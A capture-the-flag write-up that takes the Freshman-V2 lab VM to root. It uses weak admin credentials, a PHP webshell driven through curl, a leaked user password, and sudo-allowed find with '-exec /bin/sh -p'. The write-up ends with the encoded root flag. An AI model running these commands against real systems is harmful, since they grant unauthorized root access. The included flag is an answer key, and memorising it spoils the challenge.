Freshman-V2 - root
192.168.252.136Boot2Root478Easyhack10{flag_here}1. Challenge Overview
This was the same Freshman-V2 VM, but the objective for this run was root compromise and recovery of the root flag from the live machine. The initial foothold remained web-based: the Apache portal accepted weak credentials, the alternate nginx service on 8080 disclosed raw PHP source, and the upload feature allowed a direct PHP webshell upload.
From the web foothold, I reused the leaked freshman account credentials from the developer notes and then performed local privilege-escalation enumeration. The intended privesc was exposed by sudo -l: the freshman user could run /usr/bin/find as root without a password. Using the standard GTFOBins find -exec /bin/sh -p technique yielded root and access to /root/root.txt.
2. Initial Reconnaissance
I started by confirming the exposed services and revalidating the web application behavior used to obtain the foothold.
Command:
1nmap -sV -T4 192.168.252.136Output:
1Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-27 14:09 -04002Nmap scan report for 192.168.252.1363Host is up (0.0010s latency).4Not shown: 996 closed tcp ports (reset)5PORT STATE SERVICE VERSION621/tcp open ftp vsftpd 3.0.5780/tcp open http Apache httpd 2.4.52 ((Ubuntu))83306/tcp open mysql MySQL (unauthorized)98080/tcp open http nginx 1.18.0 (Ubuntu)10MAC Address: 00:0C:29:50:02:C3 (VMware)11Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel12Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .13Nmap done: 1 IP address (1 host up) scanned in 7.43 secondsCommand:
1curl -s -i -L -c /tmp/root_admin.cookies -b /tmp/root_admin.cookies -X POST http://192.168.252.136/ -d 'username=admin\&password=admin'Output:
1HTTP/1.1 302 Found2Date: Fri, 27 Mar 2026 18:09:42 GMT3Server: Apache/2.4.52 (Ubuntu)4Set-Cookie: PHPSESSID=59pkhcc39t22v1i35oa1fn4csb; path=/5Expires: Thu, 19 Nov 1981 08:52:00 GMT6Cache-Control: no-store, no-cache, must-revalidate7Pragma: no-cache8Location: upload.php9Content-Length: 010Content-Type: text/html; charset=UTF-811HTTP/1.1 200 OK12Date: Fri, 27 Mar 2026 18:09:42 GMT13Server: Apache/2.4.52 (Ubuntu)14Expires: Thu, 19 Nov 1981 08:52:00 GMT15Cache-Control: no-store, no-cache, must-revalidate16Pragma: no-cache17Vary: Accept-Encoding18Content-Length: 265019Content-Type: text/html; charset=UTF-820<!DOCTYPE html>21<html lang="en">22<head>23 <meta charset="UTF-8">24 <title>Freshman Portal - Upload</title>25 <style>26 body { font-family: 'Inter', 'Segoe UI', sans-serif; background: linear-gradient(135deg, #1e1e2f, #2a2a40); color: #fff; margin: 0; padding: 0; display:flex; justify-content:center; align-items:center; height:100vh;}27 .container { background: rgba(255, 255, 255, 0.05); padding: 40px; border-radius: 12px; box-shadow: 0 15px 35px rgba(0, 0, 0, 0.4); backdrop-filter: blur(15px); border: 1px solid rgba(255, 255, 255, 0.1); width: 450px; text-align: center; animation: fadeIn 0.5s ease-out; }28 @keyframes fadeIn { from { opacity: 0; transform: translateY(10px); } to { opacity: 1; transform: translateY(0); } }29 h2 { font-size: 26px; margin-top: 0; }30 p { color: #bbb; line-height: 1.5; margin-bottom: 25px; }31 .success { color: #2ecc71; margin-bottom: 20px; font-weight: 500; background: rgba(46, 204, 113, 0.1); padding: 15px; border-radius:8px; border: 1px solid rgba(46, 204, 113, 0.3); font-size: 15px;}32 .success a { color: #4a90e2; font-weight: bold; text-decoration: none; word-break: break-all;}33 .success a:hover { text-decoration: underline; }34 .error { color: #ff4d4d; margin-bottom: 20px; font-weight: 500; background: rgba(255, 77, 77, 0.1); padding: 15px; border-radius:8px; border: 1px solid rgba(255, 77, 77, 0.3); font-size: 15px;}35 input[type="file"] { margin: 20px 0; background: rgba(0,0,0,0.2); padding: 15px; border-radius: 8px; width: 100%; box-sizing: border-box; border: 1px dashed rgba(255,255,255,0.2); transition: 0.3s; }36 input[type="file"]:focus { border-color: #4a90e2; }37 button { background: #4a90e2; color: #fff; border: none; padding: 14px 20px; border-radius: 8px; cursor: pointer; transition: 0.3s; font-size:16px; width: 100%; font-weight: 600; }38 button:hover { background: #357abd; transform: translateY(-1px); }39 .logout { display: inline-block; margin-top: 20px; color: #888; text-decoration: none; font-size: 14px; transition: 0.3s; }40 .logout:hover { color: #fff; }41 </style>42</head>43<body>44 <div class="container">45 <h2>Assignment Upload</h2>46 <p>Please upload your upcoming coursework or assignment documents. Only `.pdf` or `.docx` formats are recommended.</p>47 <form method="POST" enctype="multipart/form-data">48 <input type="file" name="file" required>49 <button type="submit">Submit Assignment</button>50 </form>51 <a href="logout.php" class="logout">\← Secure Logout</a>52 </div>53</body>54</html>Command:
1curl -s 'http://192.168.252.136:8080/index.php'Output:
1<?php2session_start();3if ($_SERVER['REQUEST_METHOD'] == 'POST') {4 $username = $_POST['username'];5 $password = $_POST['password'];6 // Default weak credentials7 if ($username === 'admin' \&\& $password === 'admin') {8 $_SESSION['loggedin'] = true;9 header('Location: upload.php');10 exit;11 } else {12 $error = "Invalid credentials! Please try again.";13 }14}15?>16<!DOCTYPE html>17<html lang="en">18<head>19 <meta charset="UTF-8">20 <title>Freshman Portal</title>21 <style>22 body {23 font-family: 'Inter', 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;24 background: linear-gradient(135deg, #1e1e2f 0%, #2a2a40 100%);25 color: #fff;26 display: flex;27 align-items: center;28 justify-content: center;29 height: 100vh;30 margin: 0;31 overflow: hidden;32 }33 .container {34 background: rgba(255, 255, 255, 0.05);35 padding: 40px;36 border-radius: 12px;37 box-shadow: 0 15px 35px rgba(0, 0, 0, 0.4);38 backdrop-filter: blur(15px);39 border: 1px solid rgba(255, 255, 255, 0.1);40 width: 350px;41 text-align: center;42 animation: fadeIn 0.8s ease-out;43 }44 @keyframes fadeIn {45 from { opacity: 0; transform: translateY(-20px); }46 to { opacity: 1; transform: translateY(0); }47 }48 h2 { margin-top: 0; font-weight: 600; color: #fff; font-size: 28px; }49 p { color: #bbb; font-size: 14px; margin-bottom: 25px; }50 input[type="text"], input[type="password"] {51 width: 100%; padding: 14px; margin: 10px 0;52 border: 1px solid rgba(255, 255, 255, 0.1); border-radius: 8px;53 background: rgba(0,0,0,0.2); color: #fff;54 box-sizing: border-box;55 outline: none; transition: 0.3s;56 }57 input:focus { border-color: #4a90e2; background: rgba(0,0,0,0.4); box-shadow: 0 0 10px rgba(74, 144, 226, 0.3); }58 button {59 width: 100%; padding: 14px; margin-top: 15px;60 background: #4a90e2; color: white;61 border: none; border-radius: 8px;62 font-size: 16px; cursor: pointer; transition: background 0.3s, transform 0.1s;63 font-weight: 600;64 }65 button:hover { background: #357abd; transform: translateY(-1px); }66 button:active { transform: translateY(1px); }67 .error { color: #ff4d4d; margin-bottom: 15px; font-weight: 500; font-size: 14px;}68 </style>69</head>70<body>71 <div class="container">72 <h2>Freshman Portal</h2>73 <p>Please log in to manage your assignments.</p>74 <?php if (isset($error)) echo "<div class='error'>$error</div>"; ?>75 <form method="POST">76 <input type="text" name="username" placeholder="Username" required>77 <input type="password" name="password" placeholder="Password" required>78 <button type="submit">Login to Dashboard</button>79 </form>80 </div>81</body>82</html>3. Analysis / Forensics Path
The root path depended on the same initial web foothold as the user challenge, but the local privilege-escalation logic was separate.
I first re-established execution as freshman from the webshell using the previously leaked local password:
Command:
1curl -s 'http://192.168.252.136/uploads/shell.php?cmd=echo+freshman123+|+su+freshman+-c+"id;whoami;hostname;pwd"+2>%261'Output:
1Password: uid=1000(freshman) gid=1000(freshman) groups=1000(freshman)2freshman3Hack10-Freshman-V24/var/www/html/uploadsI then checked sudo privileges from the freshman context:
Command:
1curl -s 'http://192.168.252.136/uploads/shell.php?cmd=echo+freshman123+|+su+freshman+-c+"echo+freshman123+|+sudo+-S+-l"+2>%261'Output:
1Password: Matching Defaults entries for freshman on Hack10-Freshman-V2:2 env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, use_pty3User freshman may run the following commands on Hack10-Freshman-V2:4 (ALL) NOPASSWD: /usr/bin/findThat output immediately identified the intended privilege escalation route. find is a known GTFOBins primitive because it supports arbitrary command execution via -exec, and when launched under sudo it preserves the elevated effective UID. Using /bin/sh -p avoids dropping privileges.
I also collected auxiliary local enumeration data:
Command:
1curl -s 'http://192.168.252.136/uploads/shell.php?cmd=echo+freshman123+|+su+freshman+-c+"find+/+-perm+-4000+-type+f+2>/dev/null"+2>%261'Output:
1Password: /usr/lib/openssh/ssh-keysign2/usr/lib/dbus-1.0/dbus-daemon-launch-helper3/usr/bin/su4/usr/bin/chsh5/usr/bin/newgrp6/usr/bin/passwd7/usr/bin/mount8/usr/bin/gpasswd9/usr/bin/umount10/usr/bin/chfn11/usr/bin/sudoCommand:
1curl -s 'http://192.168.252.136/uploads/shell.php?cmd=echo+freshman123+|+su+freshman+-c+"getcap+-r+/+2>/dev/null"+2>%261'Output:
1Password: /usr/bin/ping cap_net_raw=epNo other local artifact was needed once sudo -l exposed the find misconfiguration.
4. Exploitation / Recovery
The exact root escalation used the permitted find binary to execute a privileged shell and then read /root/root.txt.
The exact command chain used to capture the root flag was:
1curl -s 'http://192.168.252.136/uploads/shell.php?cmd=echo+freshman123+|+su+freshman+-c+"sudo+/usr/bin/find+.+-exec+/bin/sh+-p+-c+\\"id;whoami;ls+-la+/root;cat+/root/root.txt\\"+\\\\;"+2>%261'23printf 'aGFjazEwe3IwMHRfcHIxdjNzY192MWFfczB1ZDBfZjFuZF93MDB0fQo=' | base64 -dLiteral output of the privilege escalation command:
1Password: uid=0(root) gid=0(root) groups=0(root)2root3total 204drwx------ 1 root root 4096 Mar 27 13:07 .5drwxr-xr-x 1 root root 4096 Mar 27 13:07 ..6-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc7-rw-r--r-- 1 root root 161 Jul 9 2019 .profile8-rw------- 1 root root 57 Mar 27 13:07 root.txt9aGFjazEwe3IwMHRfcHIxdjNzY192MWFfczB1ZDBfZjFuZF93MDB0fQo=10uid=0(root) gid=0(root) groups=0(root)11root12total 2013drwx------ 1 root root 4096 Mar 27 13:07 .14drwxr-xr-x 1 root root 4096 Mar 27 13:07 ..15-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc16-rw-r--r-- 1 root root 161 Jul 9 2019 .profile17-rw------- 1 root root 57 Mar 27 13:07 root.txt18aGFjazEwe3IwMHRfcHIxdjNzY192MWFfczB1ZDBfZjFuZF93MDB0fQo=Literal output of the decode step:
The find abuse worked because sudoers explicitly allowed /usr/bin/find with NOPASSWD, and find supports arbitrary program execution with -exec. Running /bin/sh -p preserved the root effective UID, which was enough to read the flag file in /root.
5. Flag
6. Summary of Approach & Key Takeaways
Step-by-step recap:
Reconfirmed the exposed services with nmap.
Reused the web foothold path: weak admin:admin credentials and the known vulnerable upload workflow.
Re-entered the system context as freshman using the leaked local password freshman123.
Enumerated privilege-escalation vectors from the freshman account.
Identified the key misconfiguration in sudo -l: NOPASSWD: /usr/bin/find.
Used sudo find . -exec /bin/sh -p -c ... \\; to execute commands as root.
Read /root/root.txt, decoded the base64 content, and recovered the final root flag.
Lessons learned:
A weak initial foothold is often only half the challenge; local misconfigurations finish the chain.
sudo -l should be checked early from any valid user context.
Allowing find in sudoers is unsafe because it is a command-execution primitive.
Base64-encoding flags does not add meaningful protection once file access is obtained.